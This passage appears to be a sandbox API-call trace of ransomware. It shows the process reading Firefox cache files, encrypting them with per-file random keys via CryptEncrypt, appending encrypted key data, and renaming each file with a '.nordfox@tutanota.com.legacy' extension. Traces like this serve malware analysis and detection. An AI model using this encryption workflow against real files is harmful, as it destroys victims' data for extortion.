(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE", dwFileAttributes=0x80) returned 1 [0185.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4d70 [0185.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4d70 | out: hHeap=0x520000) returned 1 [0185.857] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a04f210a1a29231e7f5f9d126f593c98b83569ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.857] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28630) returned 1 [0185.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6fd6) returned 0x30e7068 [0185.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6fd6) returned 0x2eeb018 [0185.858] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x6fd6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x6fd6, lpOverlapped=0x0) returned 1 [0185.870] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-28630, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.870] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x6fd6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6fd6, lpOverlapped=0x0) returned 1 [0185.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7068 | out: hHeap=0x520000) returned 1 [0185.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.870] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6fd6 [0185.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.870] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3198*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.871] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.871] CloseHandle (hObject=0x1b80) returned 1 [0185.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.871] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a04f210a1a29231e7f5f9d126f593c98b83569ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a04f210a1a29231e7f5f9d126f593c98b83569ae.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4740 | out: hHeap=0x520000) returned 1 [0185.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4428 | out: hHeap=0x520000) returned 1 [0185.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4a58 [0185.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4a58 | out: pbBuffer=0x30e4a58) returned 1 [0185.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.873] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F234958FDA7FDE5333B277372FF67E9AAE43DB6", dwFileAttributes=0x80) returned 1 [0185.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.874] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F234958FDA7FDE5333B277372FF67E9AAE43DB6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9f234958fda7fde5333b277372ff67e9aae43db6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.874] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1121) returned 1 [0185.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x461) returned 0x619c48 [0185.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x461) returned 0x30f3888 [0185.874] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x461, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x461, lpOverlapped=0x0) returned 1 [0185.885] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.885] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x461, lpOverlapped=0x0) returned 1 [0185.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619c48 | out: hHeap=0x520000) returned 1 [0185.886] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x461 [0185.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.886] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.886] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.886] CloseHandle (hObject=0x1b80) returned 1 [0185.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4a58 | out: pbBuffer=0x30e4a58) returned 1 [0185.888] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.888] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F112B9735545855C3F827C47780C60BEE456994", dwFileAttributes=0x80) returned 1 [0185.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4c68 [0185.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.889] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0185.890] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.890] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0185.891] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0185.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.891] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.891] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.892] CloseHandle (hObject=0x1b80) returned 1 [0185.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4428 | out: pbBuffer=0x30e4428) returned 1 [0185.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.893] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9EABD98B2F7F56D2095F76B6D0643E805CE79C6C", dwFileAttributes=0x80) returned 1 [0185.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.896] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xcf3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xcf3, lpOverlapped=0x0) returned 1 [0185.901] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.902] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4588*, nNumberOfBytesToWrite=0xcf3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4588*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcf3, lpOverlapped=0x0) returned 1 [0185.902] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcf3 [0185.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.902] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.903] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.903] CloseHandle (hObject=0x1b80) returned 1 [0185.906] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4d70 | out: pbBuffer=0x30e4d70) returned 1 [0185.906] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.906] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9E9B7254DB86AADA6F1E1EA84F14C13DE088BFFC", dwFileAttributes=0x80) returned 1 [0185.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3f00 [0185.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.906] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x18bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x18bc, lpOverlapped=0x0) returned 1 [0185.919] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6332, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.919] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5150*, nNumberOfBytesToWrite=0x18bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18bc, lpOverlapped=0x0) returned 1 [0185.920] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18bc [0185.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.920] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4d70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4d70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.921] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.921] CloseHandle (hObject=0x1b80) returned 1 [0185.923] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3198 | out: pbBuffer=0x30e3198) returned 1 [0185.923] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.923] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9D89ACC2055BA7BCEC7C8A38D90EAA0F66E5501A", dwFileAttributes=0x80) returned 1 [0185.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e37c8 [0185.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.923] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb8d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb8d, lpOverlapped=0x0) returned 1 [0185.933] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.933] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4420*, nNumberOfBytesToWrite=0xb8d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4420*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb8d, lpOverlapped=0x0) returned 1 [0185.933] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb8d [0185.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.934] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3198*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.934] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.934] CloseHandle (hObject=0x1b80) returned 1 [0185.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3f00 | out: pbBuffer=0x30e3f00) returned 1 [0185.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9BC05FC50582ECA836DF8F673699D925643AF8B7", dwFileAttributes=0x80) returned 1 [0185.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4320 [0185.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.936] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a0, lpOverlapped=0x0) returned 1 [0185.937] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.937] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a0, lpOverlapped=0x0) returned 1 [0185.937] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a0 [0185.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.938] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.938] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.938] CloseHandle (hObject=0x1b80) returned 1 [0185.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4a58 | out: pbBuffer=0x30e4a58) returned 1 [0185.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.940] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B8CA6ED6FACA328E93C5B538535EE6DC376EE6A", dwFileAttributes=0x80) returned 1 [0185.940] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3cf0 [0185.940] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.940] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0185.942] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.942] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0185.942] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0185.942] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.942] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.942] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.943] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.943] CloseHandle (hObject=0x1b80) returned 1 [0185.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e37c8 | out: pbBuffer=0x30e37c8) returned 1 [0185.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.944] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B5DA3B08CF1A71522540B47452670E459146999", dwFileAttributes=0x80) returned 1 [0185.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3f00 [0185.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.945] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0185.954] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.954] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, 